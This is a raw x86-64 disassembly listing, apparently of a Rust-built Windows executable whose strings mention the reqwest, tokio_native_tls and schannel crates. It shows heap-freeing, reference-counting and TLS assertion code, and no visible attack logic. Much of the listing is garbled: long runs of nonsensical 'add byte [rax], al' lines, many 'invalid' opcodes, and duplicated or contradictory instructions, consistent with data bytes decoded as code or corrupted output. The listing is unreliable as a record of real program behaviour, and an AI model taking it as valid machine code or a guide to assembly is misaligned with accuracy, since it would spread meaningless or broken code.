pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rdi + 0x80]
mov rdx, rbx
mov r8, r15
call fcn.14012aee0
mov rbx, qword [rdi + 0x90]
mov rax, qword [rdi + 0x88]
lea rcx, [rax + rbx]
cmp r15, 2
jae 0x1400b0249
jmp 0x1400b0267
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsassertion_failed:_pos___self.dec_in.get_ref__.len___as_u640
mov rcx, rbx
call fcn.140122510
lea rcx, str.assertion_failed:__self.context.is_null__
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
mov edx, 0x29
call fcn.140122660
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsassertion_failed:_pos___self.dec_in.get_ref__.len___as_u640
mov rcx, r13
mov rdx, rbx
call fcn.1401225f0
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsassertion_failed:_pos___self.dec_in.get_ref__.len___as_u640
mov rcx, rbp
call fcn.1401225f0
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsassertion_failed:_pos___self.dec_in.get_ref__.len___as_u640
mov rcx, r13
call fcn.1401225f0
int3
xor eax, eax
and al, 0xc8
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdi*2], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*8], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add dword [rax], eax
add byte [rax], cl
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x50
add byte [rax], al
add byte [rax], al
and al, 0xc0
add byte [rax], al
add byte [rax - 0x77], cl
pop rsp
and al, 0x60
and al, 0x88
add dword [rax], eax
add byte [rax - 1], cl
invalid
js 0x1400b1be6
cmp edi, edi
and al, 0xd8
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
rol byte [rdx + 0xf], 1
mov dh, 0x74
adc al, 0x7f
cmc
call 0x14851a924
and al, 0x48
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
push rax
invalid
mov ebx, 0x1010100
add byte [rcx], al
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
or esp, ebx
fmul qword [rcx + rbp - 0x2d]
nop dword [rax + rax]
invalid
out 0xf, eax
xchg dword [rdx - 0x7f000002], edx
mov esp, 0xd824
add byte [0x15d78a079], al
add byte [rax], al
add byte [rcx - 0x77], cl
dec dword [rcx + rcx*4 + 0x7c]
and al, 0x70
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rdx + 1], bh
add byte [rax], al
add byte [rax], al
add cl, ch
xchg ebx, eax
add byte [rax], al
add byte [rdi], cl
invalid
add byte [rax], al
add byte [rax], al
add dword [rdi], ecx
sub dword [rsp + 0x1a0], eax
add byte [rax], al
test byte [rax + rsi*4], ah
add dword [rax], eax
add byte [rax + 0x2702484], cl
add byte [rax], al
test byte [rax + rax*4], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add cl, ch
cld
invalid
and al, 0x10
add al, byte [rax]
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0x18
add al, byte [rax]
add byte [rax - 0x77], cl
int1
fcom dword [rdi - 0x76b6000b]
vpsadbw xmm8, xmm7, xmm5
add dword [rdi + rbx + 0x48], esi
cmp dword [rsp + 0x218], 0
or byte [rcx], dh
fucomi st(1)
or byte [rcx], al
add byte [rax], al
nop word [rax + rax]
rcr byte [rdx - 0x437f000b], 1
and al, 0x30
add dword [rax], eax
add byte [rcx], al
mov ebp, dword [rsp + 0x131]
and al, 0x31
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rsi + 0x48000001], fs
mov eax, dword [rcx]
invalid
mov ah, 0x24
rol byte [rcx], 0
add byte [rbp + 0xd], dh
enter 1, 0
lea eax, [rsp + 0x1d0]
and al, 0xd0
add dword [rax], eax
add cl, ch
sahf
add byte [rax], al
add byte [rbx + 0xf02484], cl
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + riz*4], ah
add dword [rax], eax
add byte [rbx + 0x24848b01], dh
test al, 1
add byte [rax], al
and al, 8
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + riz*4], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rax], ah
add al, byte [rax]
add byte [rax - 0x75], cl
mov ah, 0x24
mov byte [rcx], al
add byte [rax], al
invalid
add dword [rax], eax
add byte [rdi], cl
adc byte [rax], al
push 8
movzx eax, byte [rbp + 0x170]
test dword [rcx + 1], esi
jno 0x1400b24f3
add byte [rax], al
add byte [rax + 0x417a2444], cl
movzx eax, byte [rbp + 0x175]
and al, 0x7b
popfq
cwde
add byte [rax], al
add byte [rcx - 0x75], cl
mov rdi, qword [r13 + 0xa0]
and al, 0x60
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rsi - 0x77], cl
xor al, 0xe0
jo 0x1400b2595
add edi, 0xfffffff8
clc
stc
push rbp
int3
add byte [rdx - 0x75], cl
or al, 0xf3
mov ecx, dword [rbx + rsi*8]
inc esi
cmp edi, esi
test esi, esi
div byte [rdx + rdx + 0x48]
mov ecx, dword [0x14019f258]
mov eax, ebx
fdivr st(7)
adc eax, 0x7ce8a
add dword [rax], eax
add byte [rbx + 0xd8d4801], dh
mov bl, 1
invalid
invalid
invalid
jne 0x1400b25eb
invalid
sub byte [rcx], al
add byte [rax], al
and al, 0x7c
mov dh, 0x85
xchg esp, eax
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xab093
xchg ebx, eax
mov al, 0xa
add byte [rax - 0x73], cl
adc eax, 0xe2655
lea edx, [0x140194c50]
invalid
add al, 0x82
invalid
add byte [rax - 0x73], cl
or eax, 0xab074
invalid
lea ecx, [0x14015d687]
add byte [rax - 0x73], cl
adc eax, 0xe2636
add eax, edx
add byte [rax], al
add al, ch
mov al, 0xca
invalid
push rax
add byte [rbx + rcx + 0x48], dh
mov ecx, dword [rsp + 0x58]
mov ebx, dword [rsp + 0x68]
and al, 0x68
invalid
cmp esi, edi
mov ecx, dword [0x14019f258]
invalid
and al, 0xe8
add byte [rax], al
add al, dh
dec qword [rax]
or eax, 0x248c8b48
call 0x1280b26d5
cmpsd dword [rsi], dword [rdi]
jg 0x1400b26d9
mov ecx, dword [rsp + 0xe8]
add byte [rax - 0x75], cl
test byte [rax + rsi*8], ah
add byte [rax], al
add al, dh
dec qword [rax]
add al, ch
invalid
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rax - 0x7b], cl
sal byte [rbx + rbx + 0x48], 0x8d
mov word [rax + rcx*2], fs
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x38
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x40
add dword [rax], eax
add dword [rax], eax
add bh, bh
push rax
adc byte [rbp - 0x7b], cl
push qword [rbx + riz + 0x4c]
mov edx, edi
add byte [rax], al
mov esp, eax
invalid
loopne 0x1400b296a
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x178], al
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x88
add dword [rax], eax
add bh, bh
call qword [rax + 0x10]
lock dec qword [r14]
mov ecx, dword [rsp + 0x98]
or dword [rdi], ecx
test dword [rax + rax - 0x74b80000], ecx
xchg esp, eax
and al, 0xa0
add byte [rax], al
add al, ch
invalid
lea rbx, fs:[rdi + 0x30]
jge 0x1400b2c25
add ebx, 0x48
invalid
invalid
invalid
add byte [rax], al
loopne 0x1400b3121
enter 0xffffffffffff8c89, 0x24
movabs al, byte [0xb8bb80000000]
add byte [rax], al
add byte [rax + 0xb8bb], al
add byte [rax], al
add byte [rax + 0xb8bb], al
add byte [rax], al
add byte [rax + 0x4000], bh
add byte [rax], al
add byte [rsi + rax - 0x75], dh
invalid
mov eax, dword [rbx + 0xbc]
invalid
test byte [rax + rbp], ah
invalid
invalid
add byte [rcx + 0x1282484], cl
add dword [rax], eax
add byte [rbx + 0x10883], cl
add byte [rcx + 0xd82484], cl
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + 0x1188b], cl
add byte [rcx], dh
rol byte [rcx - 0x6535ff07], 0x3b
enter 0xffffffffffff8c89, 0x24
enter 0, 0
add byte [rax], al
adc eax, 0
add byte [rax], al
add byte [rax], al
add byte [rcx + 0xb82484], cl
add byte [rax], al
add byte [rax], al
loopne 0x1400b31ba
add byte [rax], al
call 0x1880b31c3
lea ecx, [rsp + 0x2a0]
js 0x1400b321e
and al, 0xbc
add byte [rax], al
add byte [rax], al
invalid
mov dh, 0x83
js 0x1400b31ea
invalid
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax + 0x1102484], cl
add byte [rax], al
mov dh, 0x83
jns 0x1400b31f8
add byte [rax], al
add byte [rax + 0xf362444], cl
mov dh, 0x83
jp 0x1400b3203
add byte [rax], al
add byte [rax + 0xf372444], cl
mov dh, 0x83
jnp 0x1400b320e
add byte [rax], al
add byte [rax + 0x1082484], cl
or byte [rcx], al
add byte [rax], al
mov eax, dword [rsi + 0x20]
xor byte [r8 - 0x75], r9b
push rdi
cmp byte [rcx - 0x47], al
add al, 0
add byte [rax], al
mov ch, 0x4a
invalid
pshufw mm0, mm0, 0
xlatb
rol byte [rbp - 0x7b], cl
sal byte [rbp + 0x2f], cl
test dword [rbx - 1], ebp
invalid
nop dword cs:[rax + rax]
dec dword [rax - 0x75]
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rbx + rcx*4 - 0x74], cl
and al, 0xe0
add byte [rax], al
add byte [rcx - 0x3f], cl
loope 0x1400b44ba
ror byte [rax - 0x75], 0x94
and al, 0xb8
add byte [rax], al
add byte [rax + 1], cl
retf 0xc148
rol ecx, 0x15
rol ecx, 0x15
and byte [rax + 0x31], cl
invalid
invalid
invalid
add byte [rbx + rcx*4 + 0x6c], cl
and al, 0x40
add byte [rdx], al
add byte [rax], al
test eax, eax
mov ebp, 0x41000000
or eax, edx
insb byte [rdi], dx
and al, 0x40
and al, 0xb9
add byte [rax], al
add byte [rcx + rcx - 0x3e], cl
add byte [rcx + rcx*4 - 0x3e], cl
in eax, 0xf
mov dh, 0x94
and al, 0xc4
add eax, dword [rax]
add byte [rcx - 0x78], al
push rax
add al, 0x8b
xchg esp, eax
and al, 0xc0
add eax, dword [rax]
add byte [rcx - 0x77], al
adc byte [rax - 0x73], cl
xchg esp, eax
and al, 0xf0
add dword [rax], eax
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xd8
add al, 0
add byte [rax - 0x77], cl
test byte [rax + riz*8], ah
add al, 0
add byte [rax - 0x77], cl
mov word [rax + rbp*8], fs
add al, 0
add byte [rax - 0x77], cl
mov esp, 0x50024
add byte [rsi - 0x77], ah
mov ah, 0x24
or byte [0xc84f4970], al
mov ah, 0x24
or al, byte [0xcb534978]
mov ah, 0x24
test al, 0
add byte [rax], al
retf
add byte [rax - 0x77], cl
push rax
add byte [rax], al
and al, 0x60
adc al, 0xf
mov dh, 0x4c
and al, 0x38
invalid
and ebx, esp
xchg dword [rax], eax
add byte [rax], al
call 0x17953fe69
invalid
xchg esp, eax
invalid
sete bl
add eax, 0x40
insd dword [rdi], dx
invalid
invalid
xchg esp, eax
and al, 0xd8
add dword [rax], eax
add byte [rcx - 0x77], cl
invalid
invalid
invalid
ror byte [rdi], 0x85
invalid
test dword [rax - 1], ecx
invalid
je 0x1400b4e9f
pop rax
call qword [rcx + 0x10]
add dword [rax], eax
and byte [rax - 0x77], cl
add al, 0xc1
mov al, 0
add byte [rax], al
inc dword [rbx + 0xb024bc]
mov al, 0
add byte [rax], al
add cl, byte [rdi]
test dword [rdx], esp
add al, byte [rax]
add byte [rax - 0x75], cl
je 0x1400b4f0e
cmp byte [rax + 0x3b], cl
add eax, dword [rax]
add byte [rax - 0x73], cl
xchg byte [rax + 0x48000000], cl
mov dword [rsp + 0x38], eax
invalid
or eax, 0xdfd6c
and al, 0x50
pcmpeqb mm0, mm2
or byte [rcx + rcx*4 - 0x1f], cl
inc dword [rcx + 0x74746838]
jo 0x1400b50d3
test dword [0x12a0b50c8], ebx
mov al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xd8cab
invalid
scasb al, byte [rdi]
mov al, 5
add byte [rcx + rcx*4 - 0xf], cl
sbb al, byte [rbx + rcx*4 - 0x74]
and al, 0xb4
add byte [rax], al
add byte [rcx + rdi - 0x38], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rdx - 0x80], al
cmp al, 8
mov edi, 0x28e78e0f
add byte [rax], al
add byte [rax - 0x75], cl
or eax, 0xe83b3
sub dword [rsp + 0x2e0], eax
lahf
mov ah, 0
add byte [rax], al
nop
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x41
adc byte [rax + 0x4e02484], cl
add byte [rax], al
test byte [rax + rdx*8], ah
add al, 0
add byte [rdi + rcx - 0x49], al
cmpsd dword [rsi], dword [rdi]
mov al, 0
add byte [rax], al
mov ebp, dword [rsp + 0x1e8]
lock add dword [rax], eax
add byte [rax + 0x39], cl
jbe 0x1400b724d
add byte [rbp + 0x483a74c0], al
cmp ebx, esi
and dword [rax], eax
add byte [rdi], cl
test ecx, edx
and dword [rax], eax
add byte [rbx - 0x7af0fa02], al
cmp esi, 5
jne 0x1400b8bc1
add byte [rax], al
xor byte [rdi], cl
sub dword [rsp + 0x310], ebx
xchg dword [rax + rax - 0x78750000], edi
rol byte [rax], 0
add byte [rax - 0x75], cl
invalid
cmp byte [rdx + rax], 0xbf
add byte [rdi], cl
sub dword [rsp + 0x390], eax
outsd dx, dword [rsi]
add eax, 0xa4c6d
add byte [rax], al
add byte [rdx], al
xchg esp, eax
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xa0
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x73], cl
add eax, 0xa517a
add byte [rbp - 0x77], cl
jmp 0x136db746a
shl byte [rax], 0x48
add edx, eax
shr ecx, 0x2b
pop rdi
invalid
mov ecx, dword [rsp + 0x38]
add byte [rbx], 0
add byte [rcx + rcx*4 - 0xf], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xa0
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add bh, bh
push rax
adc byte [rdi], cl
adc byte [0x14015c2c0], al
invalid
add byte [rdi], cl
sub dword [rsp + 0x390], eax
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xa0
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add bh, bh
push rax
adc byte [rcx + rcx*4 - 0xf], cl
and al, 0xb0
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x1c0], al
add byte [rax], al
add byte [rax + rax], 0
add al, byte [rax]
add byte [rdi], cl
mov dh, 5
jb 0x1400b80b1
add byte [rdx + 0x20], bh
test eax, eax
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x20
add eax, dword [rax]
add byte [rax - 0x73], cl
mov word [rax + rax*8], fs
add byte [rax], al
add al, ch
ret
add byte [rcx - 0x75], cl
push rbp
mov r8, qword [r13 - 8]
add byte [rbx], al
add byte [rax], al
add byte [rax - 0x77], cl
jo 0x1400b9176
and al, 0x98
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax - 0x39], cl
add dword [rbx], eax
add byte [rax], al
add byte [rax - 0x77], cl
or byte [r8 - 0x7d], cl
mov esp, 0x33024
add byte [rax], al
or eax, 0x4c894c00
and al, 0x20
cmp dword [rsi + 0x18], 0
je 0x1400b96de
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x38]
mov r14, qword [rsi + 0x40]
mov esi, dword [rsi + 0x40]
mov esi, dword [rsi + 0x40]
test r14, r14
je 0x1400b970b
lea rbx, [rdi + 0x38]
nop
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x48
dec r14
jne 0x1400b96f0
cmp qword [rsi + 0x30], 0
je 0x1400b9724
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
clc
clc
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x60]
test rdi, rdi
je 0x1400b9747
mov rcx, rdi
call fcn.1400160e0
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x70]
test rax, rax
je 0x1400b9886
cmp eax, 1
jne 0x1400b98a9
mov rdx, qword [rsi + 0x88]
xor eax, eax
xchg qword [rdx + 0x10], rax
test rax, rax
je 0x1400b97b2
mov rax, qword [rdx + 0x28]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdx + 0x28], rcx
jne 0x1400b9780
int1
int1
test rax, rax
jne 0x1400b97b2
mov rax, qword [rdx + 0x18]
mov rcx, qword [rdx + 0x20]
mov qword [rdx + 0x18], 0
lock and qword [rdx + 0x28], 0xfffffffffffffffd
test rax, rax
test eax, eax
test eax, eax
je 0x1400b97b2
call qword [rax + 8]
mov rax, qword [rsi + 0x88]
lock dec qword [rax]
jne 0x1400b97cb
mov rcx, qword [rsi + 0x88]
call fcn.14002de80
lea rdi, [rsi + 0x80]
mov rcx, rdi
call fcn.1400a45a0
mov rax, qword [rsi + 0x80]
test rax, rax
je 0x1400b97f4
invalid
invalid
lock dec qword [rax]
jne 0x1400b97f4
mov rcx, qword [rdi]
call fcn.1400d6df0
mov rdi, qword [rsi + 0x90]
mov bl, 1
mov al, 1
xchg byte [rdi + 0xa8], al
mov al, 1
xchg byte [rdi + 0x88], al
test al, al
jne 0x1400b9834
mov rax, qword [rdi + 0x78]
mov rcx, qword [rdi + 0x80]
mov qword [rdi + 0x78], 0
xor edx, edx
xchg byte [rdi + 0x88], dl
test rax, rax
je 0x1400b9834
call qword [rax + 0x18]
xchg byte [rdi + 0xa0], bl
test bl, bl
jne 0x1400b986b
mov rax, qword [rdi + 0x90]
mov rcx, qword [rdi + 0x98]
mov qword [rdi + 0x90], 0
test rax, rax
je 0x1400b999d
xor edx, edx
xchg byte [rdi + 0xa0], dl
call qword [rax + 8]
mov rax, qword [rsi + 0x90]
lock dec qword [rax]
jne 0x1400b98ed
mov rcx, qword [rsi + 0x90]
call fcn.14002e3e0
jmp 0x1400b98ed
mov rax, qword [rsi + 0x78]
test rax, rax
je 0x1400b98ed
lea rcx, [rsi + 0x90]
mov rdx, qword [rsi + 0x80]
mov r8, qword [rsi + 0x88]
mov byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
xchg esi, eax
add byte [rax], 0
add byte [rbx + rcx*4 - 0x7a], cl
mov byte [rax], al
add byte [rax], al
call qword [rax + 0x10]
jmp 0x1400b98ed
mov rax, qword [rsi + 0x78]
test rax, rax
je 0x1400b98c1
lock dec qword [rax]
jne 0x1400b98c1
lea rcx, [rsi + 0x78]
call fcn.1400ca6b0
lea rdi, [rsi + 0x88]
mov rcx, rdi
call fcn.14001ddf0
mov rcx, rdi
mov ecx, edi
mov ecx, edi
call fcn.140016d90
mov rax, qword [rsi + 0x88]
lock dec qword [rax]
dec dword [rax - 0x75]
xchg byte [rax - 0x10000000], cl
dec qword [rax]
jne 0x1400b98ed
or byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.1400c9be0
mov rsi, qword [rsi + 0x98]
test rsi, rsi
je 0x1400b9991
mov rdi, qword [rsi]
cmp rdi, 2
je 0x1400b9974
mov rbx, qword [rsi + 8]
mov bpl, 1
mov al, 1
xchg byte [rbx + 0x40], al
mov al, 1
xchg byte [rbx + 0x20], al
test al, al
jne 0x1400b9938
mov rax, qword [rbx + 0x10]
mov rcx, qword [rbx + 0x18]
mov qword [rbx + 0x10], 0
xor edx, edx
xchg byte [rbx + 0x20], dl
test rax, rax
je 0x1400b9938
call qword [rax + 0x18]
xchg byte [rbx + 0x38], bpl
test bpl, bpl
jne 0x1400b995e
mov rax, qword [rbx + 0x28]
mov rcx, qword [rbx + 0x30]
mov qword [rbx + 0x28], 0
test rax, rax
je 0x1400b99bb
xor edx, edx
xchg byte [rbx + 0x38], dl
call qword [rax + 8]
invalid
or byte [rax - 0x7b], cl
dec dword [rax - 0x75]
or al, r14b
dec qword [rax]
invalid
test rdi, rdi
mov rax, qword [rsi + 8]
lock dec qword [rax]
invalid
or byte [rbp + 9], dh
jne 0x1400b9974
mov rcx, qword [rsi + 8]
call fcn.14002e2a0
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
xor eax, eax
xchg byte [rdi + 0xa0], al
mov rax, qword [rsi + 0x90]
lock dec qword [rax]
je 0x1400b9878
jmp 0x1400b98ed
xor eax, eax
xchg byte [rbx + 0x38], al
test rdi, rdi
mov rax, qword [rsi + 8]
lock dec qword [rax]
je 0x1400b996b
jmp 0x1400b9974
invalid
add byte [rdx], al
xor eax, 0x2f
or ax, r9w
je 0x1400b9a58
movabs rax, 0x8000000000000000
mov qword [rcx], rax
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r13, rcx
mov rsi, rdx
mov rcx, rdx
mov ecx, edx
mov ecx, edx
call fcn.1401119f0
lea r8, [rdx + rax]
add cl, byte [rax - 0x73]
and al, 0x28
add cl, byte [rax - 0x73]
and al, 0x28
mov rdx, rax
call fcn.140043b40
mov rbp, qword [rsp + 0x28]
movabs r15, 0x8000000000000001
cmp rbp, r15
jne 0x1400b9a9b
movabs rax, 0x8000000000000000
mov qword [r13], rax
jmp 0x1400b9a47
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov rax, rbp
neg rax
jno 0x1400b9af1
test rbx, rbx
je 0x1400b9ad7
js 0x1400b9c70
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rbx
call fcn.1400f8ae0
test rax, rax
je 0x1400b9c75
mov r14, rax
jmp 0x1400b9add
mov r14d, 1
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.140121660
mov rdi, r14
mov rbp, rbx
invalid
fisttp qword [rax - 0x77]
int1
mov rcx, rsi
call fcn.140111ac0
mov r14b, 1
movabs r12, 0x8000000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x74c08548], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x74c08548], al
sbb eax, 0x49d08949
add eax, eax
mov r8, rdx
add r8, rax
lea rcx, [rsp + 0x28]
and al, 0x28
mov rdx, rax
call fcn.140043b40
mov r9, qword [rsp + 0x28]
and al, 0x28
and al, 0x28
sub byte [rbp + 0x39], cl
stc
cmp r9, r15
jne 0x1400b9b3c
adc al, 0x4c
mov ecx, ebp
mov rcx, r13
mov rax, rsi
test rbx, rbx
test ebx, ebx
je case.0x1400679a0.642
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
test al, 0
add byte [rax], al
jmp 0x1400b9be4
mov rdx, qword [rsp + 0x30]
and al, 0x30
mov r15, qword [rsp + 0x38]
mov edi, dword [rsp + 0x38]
mov rax, r9
neg rax
enter 0xfffffffffffff748, 0xffffffffffffffd8
jno 0x1400b9b7e
test r15, r15
je 0x1400b9b8b
js 0x1400b9c70
add byte [rcx - 0x77], cl
invalid
mov r14, rdx
movzx eax, byte [0x14019f308]
push rdi
invalid
add byte [rcx], dh
leave
push rdi
invalid
leave
mov rdx, r15
call fcn.1400f8ae0
jae 0x1400b9b5a
add eax, dword [rax]
test rax, rax
je 0x1400b9c82
mov r12, rax
invalid
mov rdx, r14
jmp 0x1400b9b91
mov rcx, r13
mov rax, rsi
mov qword [rsp + 0x40], rdx
jmp 0x1400b9baa
mov r12d, 1
mov rcx, r12
mov r8, r15
call fcn.140121660
mov r9, r15
mov qword [rsp + 0x40], r12
mov rcx, r13
mov rax, rsi
mov r8, r9
neg r8
seto r14b
mov r12, r9
test rbx, rbx
jne 0x1400b9be4
test r14b, r14b
je 0x1400b9be4
test rbp, rbp
je 0x1400b9a3a
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, r13
jmp 0x1400b9a3a
invalid
invalid
invalid
invalid
mov rcx, rax
call fcn.140111d80
test al, al
jne 0x1400b9c1e
mov rcx, rsi
call fcn.140111bb0
test al, al
jne 0x1400b9c47
mov qword [r13], rbp
mov qword [r13 + 8], rdi
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], r12
mov rax, qword [rsp + 0x40]
mov qword [r13 + 0x20], rax
mov qword [r13 + 0x28], r15
jmp 0x1400b9a47
invalid
dec dword [rax - 0x73]
add eax, 0xa3e9b
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_impl_request.rshas_authority_means_set_username_shouldnt_fail
mov qword [rsp + 0x20], rax
lea rcx, [0x14015da8d]
add byte [rbp + rcx*4 + 0xd], cl
pop rax
or al, byte ss:[rax]
add byte [rbp + rcx*4 + 0xd], cl
pop rax
or al, byte ss:[rax]
lea r8, [rsp + 0x28]
mov edx, 0x2f
call fcn.140122900
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_impl_request.rshas_authority_means_set_username_shouldnt_fail
mov qword [rsp + 0x20], rax
lea rcx, str.has_authority_means_set_password_shouldnt_fail
lea r9, [0x14015d290]
lea r8, [rsp + 0x28]
mov edx, 0x2f
call fcn.140122900
call fcn.1400067e0
retf
mov ecx, 1
mov rdx, rbx
call fcn.140122170
mov ecx, 1
mov rdx, r15
call fcn.140122170
int3
add byte [rcx + rcx*4 - 0x39], cl
mov rsi, rcx
movzx r14d, byte [rdx]
movzx ebp, byte [rdx + 1]
movzx ebx, byte [rdx + 2]
mov dh, 0x5a
add cl, byte [rbx + rcx*4 + 0x7a]
or byte [rcx + 0xf], al
adc byte [rax], al
mov dh, 0x5a
add cl, byte [rbx + rcx*4 + 0x7a]
or byte [rcx + 0xf], al
adc byte [rax], al
movups xmm1, xmmword [r8 + 0x10]
movaps xmmword [rsp + 0x40], xmm1
and al, 0x40
and al, 0x40
movaps xmmword [rsp + 0x30], xmm0
cmp r14b, 4
jne 0x1400b9ce7
lea rcx, [rsp + 0x48]
mov rax, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
invalid
call qword [rax + 0x10]
jmp 0x1400b9cf6
movzx eax, byte [rdx + 7]
mov byte [rsp + 0x2c], al
and al, 0x2c
mov eax, dword [rdx + 3]
mov dword [rsp + 0x28], eax
add ecx, dword [rcx + 0x48282444]
lea eax, [0x14018e0c8]
lea rax, [0x14018e0c8]
add byte [rax - 0x77], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x14015d468]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 1
mov qword [rsp + 0xa8], 0
lea rax, [0x14015d468]
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x30]
invalid
add byte [rax - 0x73], cl
and al, 0x30
invalid
lea ecx, [rsp + 0x30]
lea rdx, [rsp + 0x90]
call fcn.140026240
add al, ch
idiv bh
add al, ch
idiv bh
cmp qword [rsp + 0x30], 0
jl case.0x1400679a0.667
xor byte [rax], al
je case.0x1400679a0.665
test bl, al
add al, byte [rax]
add byte [rax - 0x75], cl
and al, 0x50
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x110], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x100], xmm1
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0xf0], eax
test byte [rax + rsi*8], ah
